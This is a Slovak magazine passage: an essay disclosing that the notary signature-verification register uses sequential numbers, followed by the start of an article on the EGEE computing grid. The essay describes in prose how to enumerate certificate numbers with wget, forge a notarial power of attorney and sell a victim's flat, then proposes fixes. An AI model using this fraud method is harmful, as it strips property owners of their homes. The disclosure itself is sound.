    Varovanie3: Tento text nie je navádzanie, autor si úprimne myslí, že ktokoľvek, kto tento postup zneužije, by mal zvyšok života stráviť opakovaným čítaním diela Zločin a Trest v niektorej z našich luxusných nápravnovýchovných inštitúcií. Kto tento postup realizuje, dopúšťa sa trestného činu podvodu, za čo autor nenesie žiadnu zodpovednosť. Napísanie tohto článku je jediný možný spôsob, ako súčasný neželaný stav zmeniť a tak dopomôcť k tomu, aby takéto útoky v budúcnosti neboli vôbec možné. Najprv ale o nich treba vedieť...

    Tento článok vychádza v dobe, kedy sú médiá plné predpubertálnych snáh o publikovanie výsledkov z používania klikacích hackovacích nástrojov a následných snahách o získanie zákazok na penetračné testovanie. Aj keď tento útok, ktorý článok popisuje neodhalí vtipné heslo šéfa azetu, ani neukradne toľko potrebné údaje na zmenu profilu na nejakom chatovacom serveri, dúfam, že zaujme tých čitateľov, ktorí už z puberty vyrástli.

    Skúsme teraz na chvíľu predpokladať, že morálny rozklad právneho štátu spôsobený obžalovaným Štefanom H. za tichej, ale o to smutnejšej spoluúčasti Róberta F. nedosiahol fatálnych rozmerov, akých dosiahol a že misky na váhe spravodlivosti sa nedajú nakláňať na ľubovoľnú stranu našou inak veľmi obľúbenou novou menou euro.

    V takomto článku by som si za iných okolností na politikov nezanadával, aj napriek tomu, že niektorí z nich sú socani, čo mi je krajne nesympatické, ale hranatá tvár Róberta F., ktorá je v médiách zvraštená sociálnou nespravodlivosťou, má aj inú stránku, o ktorej by mohli rozprávať jeho voličskou základňou toľko nenávidení podnikatelia, ktorí sa dennodenne stretávajú s korupciou všade - štátnu zákazku bez úplatku v dnešnej dobe nie je možné vyhrať, súdy a úrady (ako napr. kataster) sú skorumpované a teda v súčasnom stave je útok, ktorý tu popisujem krajne zbytočný, pretože je jednoducho príliš zložitý. Napriek tomu je žiaľ nadčasový. Predpokladajme teda, že obrať niekoho o majetok chce trochu viac úsilia ako podmáznuť správneho úradníka na katastri alebo inom relevantnom úrade.

    Na tomto mieste, hneď v úvode by som rád upozornil prípadných novinárov na jednu veľmi podstatnú vec. Prosím, prečítajte si tento článok poriadne predtým, než sa budete (dúfam) predbiehať v informovaní občanov. Človek by si povedal, že je to bežná vec, ale keď vidím spôsob, akým sa hovorí o kauze NBÚ, kde každý spomína akési nepodstatné heslo nbusr123 a jeho súvis s útokom, nedá mi nezneužiť tento priestor na drobné vysvetlenie, ktoré by ste našli, keby ste si poriadne prečítali pôvodný článok na serveri blackhole.sk.

    Ak mu nerozumiete, mohli by ste si ho dať prípadne vysvetliť niekomu, kto tým cudzím slovám rozumie. Príde mi dôležité začať tým, že vysvetlím tento bežný omyl a tým vás snáď presvedčím, aby ste si prečítali celý článok, vrátane častí, kde píšem o odporúčaných riešeniach. Ak ste nebodaj niekto, kto môže súčasný stav ovplyvniť k lepšiemu, platí to pre vás dvojnásobne, existuje množstvo spôsobov, ktoré tento stav zdanlivo opravia, ale reálne nedôjde k žiadnej podstatnej zmene znemožňujúcej popisovaný útok.

    Poďme teda k NBÚ a ilustračnému príkladu. Predstavte si, že máte pred sebou malú pevnosť. Tá má zamrežované okná, ale vchodové dvere ktosi vyhodil a namiesto nich dal jemný ryžový papier. Na prvý pohľad nevidno dnu, ale keď skúsite vojsť, kúzlo zafunguje: ryžový papier magicky obíde vaše telo a pred vami sa objaví chodba pevnosti s množstvom odomknutých dverí. V jedných dverách nájdete archív so všetkou prichádzajúcou a odchádzajúcou korenšpondenciou, množstvo ďalších dverí do iných častí pevnosti. Kdesi na konci chodby sú maličké dvere s nápisom "čistiace prostriedky", kde ktosi umiestnil zámok s číselným kódom, lebo čistiace prostriedky sú dnes drahé. Kód hravo uhádnete: 123. Vyberiete z miestnosti Savo a cestou von za sebou umývate dlážku, aby vás niekto neodhalil pomocou stôp, ktoré zanechávajú vaše topánky. Týmto svojím zistením o magickej pevnosti sa pochválite na mieste, kde sa ľudia vstupujúci do pevností podobnými zážitkami chvália (hekerské IRC) a na druhý deň sú médiá plné informácie "Škandál! V pevnosti NBÚ boli čistiace prostriedky chránené kódom 123!". Tieto články si prečítajú aj ľudia, ktorí normálne na fóra o pevnostiach nechodia. Správca pevnosti hrdo zmení číselný kód na ťažko uhádnuteľný a ešte pred obedom sa po pevnosti prechádzajú davy ľudí, ktoré prišli cez ryžovopapierové dvere. Maľujú na steny grafitti, vŕtajú do stien, keby náhodou niekoho napadlo dať namiesto papiera naozajstné dvere, aby sa do krásnej pevnosti dostali aj inak. A keď už sa na chodbe stretnú, tak sa tam porozprávajú, čo nové medzi hackermi pevností.

    Verte tomu alebo nie, presne toto sa stalo, aspoň podľa článku na serveri blackhole.sk. Hackeri zneužili brutálnu dieru vo webmailovom klientovi Horde/IMP, cez ktorú by sa dostal dnu aj spomínaný dnes populárny „hacker“, pretože existoval exploit, ktorý stačilo spustiť a dať mu adresu a človek bol dnu.

    Heslo nbusr123 bolo dobré akurát tak na to, aby mohli autori po sebe zahladiť stopy. Keby ho nemali, dostanú sa k mailom iným spôsobom (ukladaním si hesiel z webmail rozhrania). Po vyjdení článku v sme.sk sa na serveri odohrávalo skutočne niečo ako grafitti - rôzne hackerské skupiny menili webmailový web, dávali tam vtipné vyhlásenia, pričom správca sa tešil, že zmenil heslo nbusr123. Tú naozaj dôležitú dieru nezaplátal, hlavne, že podal trestné oznámenie a zmenil nepodstatné heslo, nech je verejnosť spokojná. Polícia so zlými hekermi predsa zatočí.

    Nakoniec pevnosť oplotili a zaplatili strážnu službu, ktorá web v pracovnej dobe strážila a mimo pracovnej doby sa naň (na web!) nemohol nikto dostať, lebo to bol prvý web na svete, ktorý mal otváracie (stránkové) hodiny.

    Dúfam, že predchádzajúci popis bol dostatočne jasný na to, aby každý novinár pochopil, že tento článok je dobré dočítať naozaj dokonca predtým, než budete dávať fantastické vyhlásenia.

    K veci.

    V našej krásnej krajine máme bežný úrad notárov, ktorí (okrem iného) zaručujú autenticitu podpisov. Podpisom vyjadrujeme svoj súhlas s textom, ktorý podpisujeme. Je to akt, ktorým môžeme napríklad splnomocniť nejakú inú osobu, aby mohla využiť naše práva. Toto je celkom užitočné, nechceme predsa nútiť našich starých rodičov, aby strávili dlhé hodiny na úrade, keď si chcú vybaviť dopravnú značku, ale radšej ich vezmeme k notárovi, kde si necháme overiť splnomocnenie.

    Zostavme teraz nasledovný scenár:

    Alica: babka

    Branislav: Alicin vnuk

    notár

    Eva: útočník

    Alica s Branislavom idú spolu k notárovi overiť pripravené splnomocnenie. Alica splnomocňuje Branislava na to, aby mohol za ňu vybaviť na dopravnom inšpektoráte značky k novému autu. Notár skontroluje Alicin občiansky preukaz. Na druhú stranu splnomocnenia vytlačí text s nadpisom "Osvedčenie o pravosti podpisu", ktorý hovorí, že notár osvedčil podpis Alici Chrústalovej, ktorá sa preukázala občianskym preukazom s číslom EA121992 a bola narodená 13. 3. 1930. Centrálny register (Notársky centrálny register osvedčených podpisov NcrOP) tomuto osvedčeniu pridelil číslo 92743/2010.

    Branislav úspešne vybaví značky na dopravnom inšpektoráte, pretože splnomocnenie vydal notár, resp. u neho zamestnaný povinný pracovník (napr. koncipient) a osvedčenie sa nacháza v centrálnom registri podpisov presne pod tým číslom, aké je uvedené. Toto policajt na dopravnom inšpektoráte overí (ha, ha) tak, že napíše do centrálneho registra osvedčených podpisov, ktorý sa nachádza na stránke www.notar.sk nasledovné údaje: Priezvisko (Chrústalová), Krstné meno (Alica), rodné číslo (vrámci zákona o ochrane osobných údajov si nejaké vymyslite sami) a číslo osvedčenia (92743/2010).

    Alica môže šoférovať nové auto a všetci sú spokojní, až kým...

    Eva zhodnotí, že Alica má pekný starý byt v exkluzívnej lokalite hneď vedľa domu, v ktorom býva Ladislav Melíško. Čo keby ho tak mohla predať niekomu za veľa peňazí? Má to len jeden malý háčik: byt nie je jej.

    To ale nie je žiadny problém, pretože Eva sa naučila používať hackerský nástroj "wget", ktorým všetko vybaví. Všimla si totiž, že na osvedčeniach, ktoré vydávajú notári je číslo osvedčenia sekvenčné.

    Spraví teda nasledovné:

    Skript využívajúci spomínaný hackerský nástroj wget sa opýta, či Chrústalová Alica s rodným číslom, ktoré ste si vymysleli pre potreby tohto príbehu náhodou nemala osvedčený podpis s číslom 1/2010. Stránka notar.sk vyhodí informáciu "nie".

    Skript je ale vytrvalý a nevzdá to, opýta sa, či náhodou Chrústalovej Alici s tým istým rodným číslom nejaký notár neosvedčil podpis s číslom 2/2010.

    O cca 2 hodinky neskôr sa týmto postupom skript dopracuje k číslu 92743/2010, na ktorý mu stránka odpovie: áno, tento podpis overil notár JUDr. Jozef Slama, Melíškov rad 43, Prievidza.

    Eva, potešená svojim zistením ide navštíviť JUDr. Jozefa Slamu, predsa aj jej babka Gvendolína si zaslúži nové auto s novými dopravnými značkami: zvlášť, keď jej ho bude mať za čo kúpiť, lebo predá Alicin byt. Gvendolína nechá vystaviť splnomocnenie pre Evu (podotýkam, že na webe notárskeho úradu nevidno, že dokument s osvedčeným podpisom bolo splnomocnenie, pre koho bolo splnomocnenie vydané, len fakt, že Gvendolína pred notárom podpísala nejaký papier, ale to je vlastne aj tak jedno – notár si pre seba do svojich záznamov bežne tieto údaje poznačí a tie sa dajú použiť pri prípadnom súdnom spore).

    Eva má notársky osvedčený papier a využije druhý hackerský nástroj: skener. Naskenuje guľatú pečiatku notára a jeho podpis. V hackerskom nástroji OpenOffice.org (prípadne ak sa buchla po vrecku a ukradla si MS Office, tak aj ten - možno používa Alicinu licenciu) napíše text Osvedčenie s údajmi Alici Chrústalovej, číslom overenia 92743/2010 a pripojí naskenovanú pečiatku a podpis. Vytlačí ho na laserovej farebnej tlačiarni.

    Navštívi notára JUDr. Pavla O. Hviezdoslava v Dolnom Kubíne, kde si dá vyhotoviť notársky overenú fotokópiu. Originál, obsahujúci dôkaz o tom, že pečiatka bola vytlačená na tlačiarni skartuje.

    S notársky overeným splnomocnením na predaj bytu, ktoré si samozrejme kataster a všetky ostatné inštitúcie (haha) overia na stránke notar.sk a toto overenie _PREJDE_ predá byt nič netušiacej Alici.

    Časť zisku (10%) venuje na dobročinné účely (chudobným sudcom, ktorí riešia ekonomickú kriminalitu).

    Teraz dôležitá informácia – pokiaľ by sa Eve toto všetko podarilo a Alici by jedného dňa niekto zabúchal na dvere, že sa má vysťahovať a ona by sa zmohla na to, aby sa v tom začala vŕtať, má tieto možnosti: obrátiť sa na občianskoprávny súd, aby vyslovil neplatnosť právneho úkonu, a  to takto: pokiaľ teda je na katastri už byt zapísaný na nového vlastníka, Alica podá podľa § 80 Občianskeho súdneho poriadku (OSP) žalobu na určenie vlastníctva. Vrámci konania sa bude dokazovať aj pravosť kúpnej zmluvy a plnomocenstva. JUDr. Slama má isto niekde vo svojom počítači dôkaz, že také nič nevyhotovil, resp. nič také nemá, preto bude tvrdiť, že on nikdy také plnomocenstvo neoveril.

    Súd taktiež zrejme vydá predbežné rozhodnutie podľa § 74 OSP, aby sa s nehnuteľnosťou nijak nedalo ďalej disponovať a aby uchoval status quo. Ostáva otázka dokazovania, či súd dokáže, že predmetné dokumenty boli sfalšované. S tým by problém byť nemal.

    Podstatné problémy sú dva. Dokazovanie súdom môže trvať roky. A Eva môže byt predať ďalšiemu majiteľovi za peniaze a zmiznúť. Tento článok hovorí o tom, že proces osvedčovania podpisov má vážne nedostatky a nie je dostatočne silný na to, aby dokázal podvodom predchádzať. To, že sa to dá (v našom súdnictve rádovo za 2-5 a viac rokov) súdnou cestou doriešiť je síce pekné, ale stojí to nervy a podvodník môže byť dávno pod panamskými palmami s miešaným drinkom v ruke. Proces overovania by mal stáť na pevných základoch tak, aby niečo takéto nebolo možné

    Pripomíname, že poškodený má taktiež právo podať trestné oznámenie za trestný čin podvodu podľa § 221 TZ.

    Poďme si vysvetliť kde sú problémy:

    Prvý fatálny problém je, že centrálny register listín prideľuje čísla overenia sekvenčne (nie je pravda, že inak prideľované čísla je ľahké zistiť, ako si povieme neskôr). Teraz k tomu, čo som hovoril na začiatku a toto si prečítajte prosím všetci:

    NESPRÁVNE RIEŠENIA PROBLÉMU SÚ:

    • Obmedziť alebo spomaliť overenia na stránke notar.sk. Chceme, aby overovania policajti, katastrálni úradníci alebo ktokoľvek robili. Akákoľvek buzerácia, spomalenie a podobne nezabráni útoku (útočník bude pristupovať z 10 tisíc rôznych adries, takže ho spomalenie ani obmedzenie netrápi), iba bude otravovať užívateľov, ktorí prestanú overovať. To znamená, že sa bezpečnosť ZNÍŽI, nie zvýši.
    • Zaviesť CAPTCHA. Toto zdanlivé riešenie robí kadekto. Nesprávne je preto, lebo otravuje užívateľov, ktorí budú menej motivovaní používať overovanie a bezpečnosť sa zníži. Druhý dôvod je, že chceme, aby podpisy mohli overovať aj stroje (t.j. ak sme firma, ktorá robí s množstvami notársky overených listín, je žiadúce, aby ich overoval automaticky ich informačný systém po zadaní listiny do tohto systému a teda aby sa bezpečnosť zvýšila). Tretí a najdôležitejší dôvod je, že CAPTCHA nefunguje. Momentálne je stav taký, že stroje (počítače) sú v lúštení CAPTCHA obrázkov (a zvukov a matematických úloh) lepšie ako ľudia. To znamená, že majú vyššiu úspešnosť. Keď to skombinujeme s hrubou silou (útočníkovi stačí, keď uhádne 10% CAPTCHA obrázkov, znamená to len, že údaje získa na desaťnásobný počet pokusov, čiže mu to nebude trvať 2 hodiny, ale 20 hodín).
    • Ktosi by možno namietal, že server notar.sk má ochranu a pri troch nesprávnych pokusoch zablokuje prístup. Bohužiaľ, hackerský nástroj, ktorý Eva používa (wget) si medzi rôznymi spusteniami nepamätá cookie, ktorú mu nastaví, takže táto ochrana otravuje užívateľov, ale nijak nezabráni zneužitiu. A tu nejde o obchádzanie: to, aby dané obmedzenie, ktoré implementuje stránka notar.sk fungovalo si vyžaduje viac námahy. Obmedzenie funguje len v browsroch užívateľov, nie v skriptoch.
    • Ďalšie nesprávne riešenia sú znáhodnenie čísla overenia bez zvýšenia priestoru (je vskutku jedno, či prvá listina, ktorú eviduje centrálny register má číslo 1020 a druhá 19281, ak je to vždy 5 miestne číslo, v priemere sa trafíme po pol milióne požiadaviek, so stopercentnou istotou po milióne požiadaviek).
    • Veľmi nebezpečné a veľmi nesprávne riešenie je detekcia útoku (napríklad podľa rodného čísla) a zablokovanie overenia užívateľa. (Napríklad: neoverí sa podpis kohokoľvek, ktorého rodné číslo bolo hľadané viac ako stokrát za daný deň). Toto by umožnilo otravovanie užívateľov tak, že vygenerujeme tých vyše sto požiadaviek a tým pádom nebude môcť využívať normálne notárom overené listiny, lebo nepôjdu overiť. Toto síce vyrieši jednu bezpečnostnú chybu, ale zanesie do systému novú chybu.

    Ešte raz: chceme, aby každý podpis, bez otravovania, blokovania, bol vždy online overiteľný. Čokoľvek, čo pokazí daný princíp väčšinou buď problém nevyrieši alebo dokonca zanesie do systému nové bezpečnostné riziká.



    SPRÁVNE RIEŠENIA:

    Stránka notar.sk funguje čo najrýchlejšie, vybaví kohokoľvek bez blbých obmedzení a hneď. Centrálny register prideľuje identifikátor listiny, ktorým je napríklad 64 znakový alfanumerický reťazec nerozlišujúci veľké a malé písmená. Napríklad takýto:


    BDGI84ZH7XHMJ75IETGY5D3LEYBLYXJ8OZDDIP1NOFR7DXJ1T7BXFHJN7E3LAGCL

    Skúsme zistiť zložitosť odhalenia postupom, aký sme si ukázali. Predpokladajme, že overenie je rýchle tak ako jedna inštrukcia procesora (napríklad pričítanie čísla). V skutočnosti je jedno overenie určite pomalšie a to výrazne (treba niečo poslať po sieti, na druhej strane overiť, spracovať, poslať odpoveď, spracovať odpoveď, to zaváňa tisíckami inštrukcií a spomaľovanie bude robiť hlavne pamäť, disky a sieť). Predpokladaním, že overovanie je rýchlejšie nič nepokazíme.

    Na to, aby sme si tipli správny reťazec musíme v priemere vyskúšať (36^64)/2 možností, čo je


    2005995957273815240032526693851221906345201243870906112977865811327727861629428624271080611127492608

    Majme jedno jadro procesora Intel i7 Extreme 965EE s 3.2GHz taktovacou frekvenciou, ktoré dokáže spracovať 76383 miliónov inštrukcií za sekundu. Teda pri našich predpokladoch by potreboval


    ((36^64)/2)/(76383000000)

    sekúnd, čo je

    ((36^64)/2)/(76383000000)/(3600*24*365)
    =
    832773189393260208041628277593154954893393277593721294373967035904483086339708984

    rokov.

    Počítajme, že za najbližších pár rokov budú počítače stomiliónkrát rýchlejšie, útočník ich bude mať k dispozícii sto miliónov kusov a teda bude potrebovať iba:


    ((3664)/2)/(76383000000)/(3600*24*365*100000000*100000000)
    =
    83277318939326020804162827759315495489339327759372129437396703590

    rokov.

    Myslím, že vtedy už Melíško nebude in a cena Alicinho bytu v rádioaktívnom pekle zvanom Zem bude popri byte s výhľadom, ktorý sa bude ľudstvu ponúkať v blízkosti Alfa Centauri celkom podpriemerný.

    Praktické problémy s takýmito dlhými identifikátormi vyriešia QR kódy, ktoré môže notársky systém automaticky k osvedčeniu tlačiť (budú sa dať načítať strojovo a tak úrady a súkromné osoby, ktoré spracúvajú veľké množstvo splnomocnení nebudú musieť nič takéto prepisovať. QR kódy dokážu čítať už aj mobilné telefóny alebo počítače s web kamerou).

    Toto riešenie ale nie je z istého dôvodu dostatočné - stále nerieši problém, keď si to číslo skopíruje ten neskorumpovateľný policajt alebo iný úradník.

    Správne riešenie sa v niečom podobá zaručenému elektronickému podpisu. Osvedčenie obsahuje aj informáciu o tom, _čo_ daný človek podpísal, nie len fakt, že to bol on. Aby sme sa vyhli nutnosti uploadovať naše dokumenty na centrálny register (čo by nebolo určite dobré, žiadúce a ani zďaleka bezpečné), mohol by notár napríklad dokument v čiernobielej primeranej kvalite naskenovať, podpísať svojim elektronickým podpisom a dokument aj s podpisom priložiť k osvedčeniu (napríklad ako spomínaný QR kód, ak by bol dokument dostatočne skomprimovaný, prípadne ako iný podobný vytlačiteľný kód: High Capacity Color Barcode použiteľný s bežnými tlačiarňami a skenermi dokáže uložiť cca 542 bajtov na centimeter štvorcový, teda na A4 papier dokážeme vytlačiť cca 318KB, čo stačí na naskenovanie opačnej strany, jej digitálne podpísanie notárom s informáciou, koho podpis overuje).

    Takto notár overí podpis na konkrétny dokument a dá sa overiť, ku ktorému dokumentu sa daný podpis viaže.

    Keby sa toto podarilo presadiť (keby...), tak by bolo všetko výrazne lepšie, ale stále to nerieši jeden problém, okrajový, ale podstatný. Napríklad také splnomocnenie sa nedá efektívne zobrať naspäť. Dá sa zobrať späť v konkrétnom prípade (napríklad oznamom katastru, daňovému úradu, ... – ak vieme, že je nejaké splnomocnenie, ktoré treba vziať späť). Ale aj napriek tomu môžeme za danú osobu kúpiť niečo na leasing, prípadne to splnomocnenie zneužiť inak. Rozumní ľudia splnomocnenie obmedzia časovo. Ale to sa nie vždy podarí. Predstavte si malú firmu, 5 ľudí, konateľ splnomocní sekretárku. Firma narastie, predá sa veľkej korporácii, konateľ ostane a sekretárka, ktorá v danej firme už dávno nepracuje sa rozhodne, že svoje 8 rokov staré splnomocnenie využije. Nič jej v tom nebráni a to splnomocnenie sa nedá zrušiť. Konateľa možno zrušiť vymazaním z obchodného registra, ale sekretárku nezruší nikto. Dá sa jej oznámiť, že sa plnomocenstvo ruší, ale reálne ten papier nikto nezoberie späť a nestratí platnosť.

    Alebo inak – som firma, ktorá predáva niečo na leasing, nemám ako zistiť, že či splnomocnenie, ktoré mi niekto dáva pôvodný splnomocniteľ nezrušil. Neexistuje centrálny register zrušených splnomocnení, kde by sa to dalo overiť. Pri prípadnom súdnom spore, ktorý skončí zase o 5 rokov sa to samozrejme dorieši, ale prečo podvodom nepredchádzať?

    Bolo by dobré sa znova inšpirovať z elektronického podpisu a spraviť (notármi kontrolovanú) autoritu zrušených splnomocnení. Pri každom splnomocnení sa jeho hash jednoducho overí cez stránky notar.sk. Ak chcem splnomocnenie zrušiť, prídem k notárovi, na základe mojej identity (občiansky preukaz) a mena osoby, ktorú som splnomocnil môžem splnomocnenie kedykoľvek zrušiť. Nezruší to platnosť úkonov, ktoré boli vykonané do tohto času, ale žiadny nový úkon s daným splnomocnením sa vykonať nedá.

    Poviete si -- prečo by sme mali riešiť sprostých ľudí, ktorí dávajú časovo neobmedzené splnomocnenia?

    Možno sa budete čudovať, ale ani náš zákon vám nedovolí sa paušálne do budúcnosti zbaviť svojich práv. Môžete sa vzdať práva jednotlivo (napr. tak, že ho nevyužijete), ale nemôžete sa dobrovoľne vzdať niektorých svojich základných práv do budúcnosti.

    Prečo by potom malo byť možné umožniť niekomu využívať všetky vaše práva neobmedzene dlho bez toho, aby ste toto mohli kedykoľvek vziať späť? (pripomínam len, že vziať - akýmkoľvek spôsobom - ten pôvodný papier o splnomocnení je nanič: sekretárka Eva si mohla spraviť 20 overených fotokópií, ktoré majú rovnakú právnu platnosť). Odvolanie sa dá spraviť buď tak, že podpíše zrušenie plnomocenstva alebo sa jej doručí oznam o zrušení plnomocenstva s doručenkou. Toto ale tomu, kto to chce zneužiť nezoberie ten papier a ktokoľvek, kto to plnomocenstvo chce overiť, nemá kde (pošta nemá web, kde sa dá overiť, či niekto niekomu zrušil plnomocenstvo, ani na to nie je centrálny register). Samozrejme, zase na súde sa to dá doriešiť.

    Záverom: Prosím, žiadna CAPTCHA, žiadne obmedzenie počtu lookupov, žiadne otravovanie užívateľov, nielenže je to nesystémové, ale nepomôže to. Ani trochu.

    Systémové riešenia sú tri a bolo by dobré ich spraviť v takomto poradí:

    1. Identifikátor podpisu nebude sekvenčne generované číslo, ale jedinečný, náhodne vygenerovaný, (aspoň) 64-znakový alfanumerický reťazec. Na osvedčeniach sa bude nachádzať jeho QR-kód pre jednoduché spracovanie a jednoduché overenie (chceme, aby to bolo čo najjednoduchšie, aby to nikoho neotravovalo a teda aby sa to overovanie naozaj robilo)
    2. Umožniť vziať späť neobmedzené splnomocnenie. Centrálny register bude k číslu splnomocnenia evidovať kto a pre koho ho vydal. Na požiadanie si každý občan môže dať vypísať, koho a kedy splnomocnil (nie je nutné, aby systém evidoval aj rozsah tohto splnomocnenia) a kedykoľvek môže splnomocnenie zrušiť. Toto zrušenie bude platiť deň po jeho vykonaní a akýkoľvek právny úkon na základe takéhoto splnomocnenia je odvtedy neplatný.
    3. Podpisovať a garantovať nie len fakt, že sa niekto niekam podpísal, ale spárovať to aj so samotným dokumentom, ktorý sa podpisuje. Na to je možné využiť strojovo čitateľné papierové obrazce podobné čiarovým kódom, ktoré dokážu uložiť digitálny podpis dokumentu s dokumentom samotným. Overenie môže byť rýchle (jedno naskenovanie zobrazí dokument aj s notársky overeným potvrdením, kto a kedy ho podpísal). Takto zabezpečíme to, že nebude žiadna centrálna autorita, ktorá by zbierala dokumenty (notár nemá prečo archivovať obsah zmlúv, ktoré pred ním podpisujem, má osvedčiť, že podpis na nich je pravý), ale zároveň dané osvedčenie nie je prenositeľné na iný počítač.

    Záver 2: Systémové nedostatky, ktoré tu boli popísané možno znejú technicky jednoducho, treba si ale uvedomiť, že jedným notársky overeným papierom je reálne možné jednoducho a rýchlo človeku zničiť život: pripraviť ho o majetok a tak zaútočiť na jeho najzákladnejšie ľudské práva. Ide o kvalitatívne väčší prúser ako Igigiho heslá a treba ho riešiť akútne a hneď. Neverím, že pod vedením Štefana H. sa s tým niečo stane (aj keď v tomto by som mu rád krivdil), prosím ale poslancov, aby sa zamysleli nad reformou, ktorá by toto opravila. Taktiež je dosť pravdepodobné, že bod 1 dokáže vyriešiť notárska komora bez akejkoľvek legislatívnej zmeny. Smutné je len to, že so starými podpismi to nič nespraví a teda tento útok bude dlhé roky použiteľný aj ďalej (môžem si teraz vytlačiť splnomocnenie s dátumom a osvedčením z roku 2002 a bude platiť rovnako ako vtedy). Je to o dôvod viac, začať to riešiť hneď.

    Záverom znova pripomínam, že tento systémový nedostatok je v osvedčovaní podpisov. Akékoľvek zneužitie tohto postupu je stále trestným činom a náprava je súdne vymáhateľná. Jediný problém je v tom, že je to bezpečnostná slabina v systéme, ktorý má podvodom predchádzať, čo podľa nás nerobí dostatočne kvalitne a existuje spôsob, ako to spraviť lepšie (niektoré spôsoby sme popísali v tomto článku).




    Továreň na paradajky, tovarennaparadajky (ryba) hysteria (.bodka.) sk


    návrat na obsah

    čo ty na to ? diskusia




    EGEE - Enabling Grids for E-science-E


    V tomto článku by som rád uviedol čo to je GRID (predstava podľa projektu EGEE), ako je realizovaný (t.j. gLite middleware), na čo je vhodný - ergo čo sa sním robí a pod. Celý výklad bude voľnejší z dôvodu relatívne veľkého množstva služieb, ktoré navzájom spolupracujú a už tá schéma je relatívne komplikovaná. Dúfam preto, že výpovedná hodnota celého dielka neutrpí a že si v ňom nájdete nejakú novú informáciu a niečím Vás obohatí. S výnimkou niektorých technických detailov, možno nájsť podrobnejší a lepšie spracovaný opis GRIDu v príručke pre používateľa [1]. Na záver ešte podumám o tom, čo si myslím o koncepcii bezpečnosti tohoto projektu a o (ne)výhodách v praxi. Nakoniec si neodpustím krátky komentár o tom ako to vyzerá na Slovensku.


    "The EGEE project has a main goal of providing researchers with access to a geographically distributed computing Grid infrastructure, available 24 hours a day. It focuses on maintaining and developing the gLite middleware and an operating a large computing infrastructure for the benefit of a vast and diverse research community"

    -- gLite 3.1 user Guide [1]



    "WLCG/EGEE operates a production Grid distributed over more than 200 sites
    aroung the world, with more then 30 000 CPUs and 20 PB of data storage"


    -- gLite 3.1 User Guide [1] (dnešné čísla : 150 000 CPU, 70 PB - celková
    kapacita [5])


    Na úvod treba uviesť pár pojmov :

    • GRIDová infraštruktúra je sieť centier s nainštalovaným a nakonfigurovaným gLite middleware
    • EGEE GRID je sieť centier, poskytujúcich služby na spracovanie úloh a ukladanie/spravovanie dát (data management)
    • EGEE je projekt EU (vyvíjajú middleware, starajú sa o sieť a centrá, robia podporu).
    • WLCG je GRIDová infraštruktúra na analýzu a rekonštrukciu dát ako aj simulácie z experimentov na LHC v CERNe (t.j. experimenty ATLAS, ALICE, CMS, LHCb). Je zdieľaná spolu s projektom EGEE preto sa im niekedy hovorí WLCG/EGEE (zdieľaná znamená, že okrem používania gLite, podieľaní sa na podpore pre užívateľov a admnistrátorov a poskytovaní služieb GRIDu aj pre iných sa podieľajú aj na samotnom vývoji gLite).
    • gLite middleware - skupina programových balíkov zabezpečujúcich služby GRIDu (distribúcia úloh, monitorovanie, úschova dát a.t.ď)

    Cieľom GRID-u je vykonať čo najviac úloh za jednotku času, tzv. HTP - High Throughput Computing (na rozdiel od High Performance Computing kde sa má jedna úloha spracovať za čo najkratší čas). Samotná predstava tejto siete centier leží v modely existujúcej elektrickej siete. Tak ako je elektrická sieť dostupná všade a každému. Ponúka "štandardných 230V" a jej používatelia nemusia vedieť, ako funguje. Analogicky GRID - sieť na spracovávanie úloh - má byť každému dostupná, s presne definovaným rozhraním na používanie a s presne definovanými službami. Používateľ má byť odbremenený od technických detailov realizácie celej siete. Klasickým príkladom problému, ktorý sa pomocou tejto siete rieši je jeden algoritmus, ktorý má spracovať veľké množstvo dát a to tak, aby ich vedel spracovať nezávisle na sebe. Takto možno rozsekať to veľké množstvo na menšie časti, ktoré sa rozdistribuujú na počítače a zrátajú sa "naraz" (niečo na štýl SIMD [6]). Nie je to jediné možné využitie no je to to najtypickejšie.

    Spracovať úlohu znamená dopraviť ju na ten správny počítač kde bude vykonaná. Úloha je textový súbor, v ktorom je použitím JDL - Job Description Language [12] (niečo na štýl atribút = parameter + aritmetika v rámci parametrov) opísané čo sa má spustiť, s akými vstupnými parametrami, kde možno nájsť vstupné dáta potrebné k vykonaniu, kam sa majú ukladať výsledky, požiadavka na architektúru (32/64 bit), požiadavka na veľkosť RAM, požiadavka na rýchlosť procesora a mnohé iné. Zoznam možných atribútov aj s ich významom je fixne daný [2].Nie všetky tieto parametre sú povinné. Príklad takej úlohy môže byť:

    Executable = "mojskript.sh";
    Arguments = "-Wall `pkg-config --cflags --libs libsysf` zoznam.txt";
    StdOutput = "std.out";
    StdError = "std.err";
    InputSandbox = { "/home/k0fein/mojskript.sh", "/home/k0fein/zoznam.txt" };
    OutputSandbox = { "std.out", "std.err" };

    týmto hovoríme GRIDu, že chceme vykonať skript mojskript.sh a to konkrétne spôsobom mojskript.sh -Wall `pkg-config --cflags --libs libsysf` zoznam.txt a od GRIDu očakávame, že po vykonaní vráti štandardný prúd pre výstup a chyby. To akým spôsobom poslať túto úlohu bude vysvetlené o chvíľu.


    Ako už bolo spomenuté GRID je sieťou centier. Tie sa od seba líšia množstvom výpočtových a úložných zdrojov. Sú organizované do regiónov a v rámci nich je ich činnosť koordinovaná regionálnym operačným centrom ROC (Regional Operation Center). Ľudia, ktorí GRID používajú, sú grupovaní do tzv. virtuálnych organizácií (VO). Každý kto chce používať prostriedky GRIDu dostane svoj osobný certifikát (x509) u certifikačnej autority pre danú krajinu/inštitúciu. Následne sa registruje do VO do ktorej chce patriť. Členom VO nemusí byť len človek, môže ním byť aj počítač/proces - čokoľvek, čo sa môže prezentovať platným certifikátom. Administrátori danej VO zodpovedajú za svoj software (ktorý majú kúpený, alebo si ho aj sami programujú). Tento software sa týka zamerania danej VO - čiže napríklad VO pre medicínu má software pre medicínu, VO pre experimenty v CERNe má software pre rekonštrukciu a analýzu dát zo zrážok v LHC a pod. Je na centrách, ktoré VO sa rozhodnú podporovať a teda ktorým VO poskytnú svoje prostriedky (CPU/miesto). Administrátori VO potom nainštalujú na server zdieľaný všetkými počítačmi, ktoré môžu vykonávať úlohu, svoj software, čím ho sprístupnia pre každú úlohu ktorá sa bude v rámci daného centra spracovávať. Všetko je založené na Linuxe a všetky centrá poskytujú viac menej to isté prostredie (čo sa týka operačného systému, verzie jadra a systémových knižníc). Linuxová distribúcia je Scientific Linux (CERN) odvodená od RedHat Enterprise Linux.



